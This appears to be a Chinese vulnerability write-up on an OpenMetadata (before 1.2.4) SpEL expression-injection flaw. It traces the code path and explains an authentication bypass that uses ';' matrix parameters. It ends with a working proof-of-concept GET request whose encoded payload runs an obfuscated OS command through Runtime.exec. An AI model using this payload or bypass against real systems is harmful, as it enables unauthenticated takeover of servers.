OpenMetadata是一个统一的发现、可观察和治理平台,由中央元数据存储库、深入的沿袭和无缝团队协作提供支持,存在命令执行漏洞。
OpenMetaData < 1.2.4
本次测试环境为1.2.3,下载docker-compose.yml,使用命令:docker-compose up -d 启动环境,启动后访问 [http://localhost:8585,默认的账号密码为 admin/admin
。
搜索路由,定位在EventSubscriptionResource.java ,代码如下,接受参数expression,并调用AlertUtil.validateExpression方法处理该参数。
跟进AlertUtil.validateExpression方法:调用CompiledRule.parseExpression方法处理传入的参数
跟进CompiledRule.parseExpression方法:调用EXPRESSION_PARSER.parseExpression处理,
而EXPRESSION_PARSER初始化为SpelExpressionParser
继续跟进parseExpression方法,因为传入的context为null,所以进入else语句,调用doParseExpression方法
跟进来到InternalSpelExpressionParser#doParseExpression方法解析表达式然后判断t是否为空来悬着是否进入if语句,t的判断为下面的逻辑,当 tokenStreamPointer 大于或等于 tokenStream 时返回null。
回到doParseExpression方法,调用Tokenizer#process,遍历表达式,统计非字母和字母(首次出现到下一个非字母之前算一次)出现的次数,然后赋值给tokenStreamLength。
继续跟进,发现在eatPossiblyQualifiedId方法中循环调用nextToken自增tokenStreamPointer,最终tokenStreamPointer长度和tokenStreamLength相等
所以进入else语句,然后返回一个SpelExpression对象。
将传入的表达式赋值给expression,赋值ast和configuration
然后调用SpelExpression#getValue方法,因为compiledAst初始化为空,所以不会进入if语句,进入getValue方法
通过SpelNodeImpl#getValue()调用CompoundExpression#getValueInternal()处理,首先通过getValueRef获取ref,再调用ref.getValue计算最后的结果。
跟进getValueRef(),循环计算除前n-1个node的结果,然后调用MethodReference#getValueRef(state)获取最终的ref。
然后调用MethodReference#getValue-->MethodReference#getValueInternal-->ReflectiveMethodExecutor#execute,ReflectiveMethodExecutor#execute()通过反射执行方法调用method.invoke。
到这里了能执行命令了,但是这个接口是后台的,需要鉴权绕过,在 OpenMetadata 使用 JwtFilter.java 对 JWT 进行验证,查看其filter,通过uriInfo.getPath获取请求路径,判断是否在 EXCLUDED_ENDPOINTS 集合中,如果在无需登录即可访问
查看EXCLUDED_ENDPOINTS 如下,这里的中间件是Jersey,用''/" 是无效的。但是类似";"矩阵参数会进行处理,所以可以通过/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/绕过鉴权,也就实现前台命令执行了
v1/system/config
v1/users/signup
v1/system/version
v1/users/registrationConfirmation
v1/users/resendRegistrationToken
v1/users/generatePasswordResetLink
v1/users/password/reset
v1/users/checkEmailInUse
v1/users/loginv1/users/refresh
全局搜一下validateExpression,其他接口也存在漏洞
poc
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
dnslog平台
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!